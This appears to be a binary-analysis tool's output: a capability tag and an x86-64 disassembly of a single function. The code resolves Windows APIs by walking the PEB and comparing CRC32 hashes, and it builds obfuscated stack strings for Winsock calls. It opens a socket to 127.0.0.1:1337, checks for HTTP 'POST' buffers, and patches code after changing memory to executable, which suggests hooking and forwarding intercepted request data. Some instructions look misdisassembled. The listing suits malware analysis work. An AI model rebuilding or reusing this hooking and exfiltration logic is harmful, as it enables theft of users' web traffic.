Function at 0x1400024b7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp r8, 4
jle 0x140002390
cmp dword [rdx], 0x54534f50
jne 0x140002390
push r15
push r14
push r13
push r9
push r8
push rdi
push rsi
push rdx
push rcx
push rbx
push rax
sub rsp, 0x100
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xe0], rdx
mov dword [rsp + 0x72], 0x61745341
call fcn.1400020d1
jmp 0x1400020d6
mov rax, qword gs:[0x30]
mov word [rsp + 0x70], 0x5357
lea rsi, [rax]
adc rsi, 0x60
lodsq rax, qword [rsi]
sub rax, 0xffffffffffffffe8
xchg rsi, rax
lodsq rax, qword [rsi]
and bl, 0
or bl, 1
cmovnp rax, qword [rax + 0x20]
cmovnp rsi, rax
mov word [rsp + 0x76], 0x7472
lodsq rax, qword [rsi]
lea r13, [rax]
mov rsi, qword [r13 + 0x50]
mov dword [rsp + 0x78], 0x7075
sub rbx, rbx
inc rbx
jp 0x14000216d
neg rbx
cmovne rcx, rbx
cmovb rdi, rcx
lodsw ax, word [rsi]
lea rdx, [rsp + 0x70]
test ax, ax
crc32 ebx, al
loopne 0x140002130
xor ebx, edi
cmp ebx, 0x6ac909b1
je 0x14000216d
cmovne rsi, r13
cmp ebx, 0xcf6fa9aa
je 0x14000216d
cmovne rdi, r12
cmp ebx, 0x8685a537
je 0x14000216d
push rbx
mov rdi, rsp
movsq qword [rdi], qword [rsi]
pop r13
loopne 0x140002111
mov r13, qword [r13 + 0x20]
mov rax, 0x20a0
mov qword [rsp + 0x48], rax
mov rcx, r13
sub rsp, 0x300
call r12
mov word [rsp + 0x370], 0x6f73
lea rdx, [rsp + 0x100]
mov rcx, 0x202
call rax
mov byte [rsp + 0x376], 0
add rsp, 0x300
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x72], 0x74656b63
mov rcx, r13
movabs rax, 0x100007f39050002
mov qword [rsp + 0x40], rax
sub rsp, 0x100
call r12
mov rcx, 2
mov word [rsp + 0x176], 0
mov r8, 0x11
mov word [rsp + 0x172], 0x646e
mov rdx, 2
call rax
mov word [rsp + 0x170], 0x6573
add rsp, 0x100
mov word [rsp + 0x74], 0x6f74
mov r14, rax
lea rdx, [rsp + 0x70]
mov rcx, r13
sub rsp, 0x100
call r12
add rsp, 0x100
mov dword [rsp + 0x78], 0x74656b
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xe0]
call 0x14000225b
jmp 0x1400022c1
mov rcx, r8
call fcn.140002283
push rsp
invalid
lea rbx, [rsp + 0x40]
sub rsp, 0x100
mov dword [rsp + 0x28], 0x10
mov word [rsp + 0x172], 0x736f
mov qword [rsp + 0x20], rbx
mov r9, 0
mov rcx, r14
call rax
mov dword [rsp + 0x174], 0x636f7365
add rsp, 0x100
mov r8, qword [rsp + 0xd0]
mov word [rsp + 0x70], 0x6c63
mov rdx, qword [rsp + 0xe0]
call 0x140002323
call fcn.140002328
jmp 0x14000225b
pop r12
pop r10
push r13
mov r13, r10
ret
pop rdx
mov rcx, r14
sub rsp, 0x100
call r12
add rsp, 0x100
mov qword [rsp + 8], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov r14, qword [rax]
mov r14, qword [r14]
test r14, r14
je 0x14000259f
mov rax, qword [r14 + 0x50]
xor rbx, rbx
dec rbx
mov rdi, rbx
cmp byte [rax], 0
je 0x140002489
crc32 ebx, byte [rax]
inc rax
inc rax
jmp 0x140002477
xor ebx, edi
cmp ebx, 0x8861d80b
je 0x1400024a5
cmp ebx, 0x3dce28a2
je 0x1400024a5
cmp ebx, 0x83bcbe6a
je 0x1400024a5
jmp 0x14000245e
mov r14, qword [r14 + 0x20]
call 0x1400024b7
push rax
push rdx
pop rdi
push rdi
jb 0x14000251d
je 0x14000251b
add byte [rdx + 0x4c], bl
mov ecx, esi
sub rsp, 0x100
call r12
add rsp, 0x100
mov r15, rax
mov rdi, qword [rsp]
mov rsi, r15
movabs rbx, 0x3300730073006e
mov rax, qword [rsi]
mov byte [rdi], al
inc rsi
inc rdi
cmp rax, rbx
jne 0x1400024e0
mov r14, qword [rsp + 8]
mov rcx, qword [rsp]
mov rdx, 0x1000
mov r8, 0x20
lea r9, [rsp + 0x10]
sub rsp, 0x100
call r14
add rsp, 0x100
add byte [rax], al
mov rcx, r15
mov rdx, 0x1000
mov r8, 0x40
lea r9, [rsp + 0x10]
sub rsp, 0x100
call r14
add rsp, 0x100
mov dword [r15], 0x54415541
mov word [r15 + 4], 0xbc49
call fcn.14000255c
jmp 0x140002085
add rsp, 0x20
ret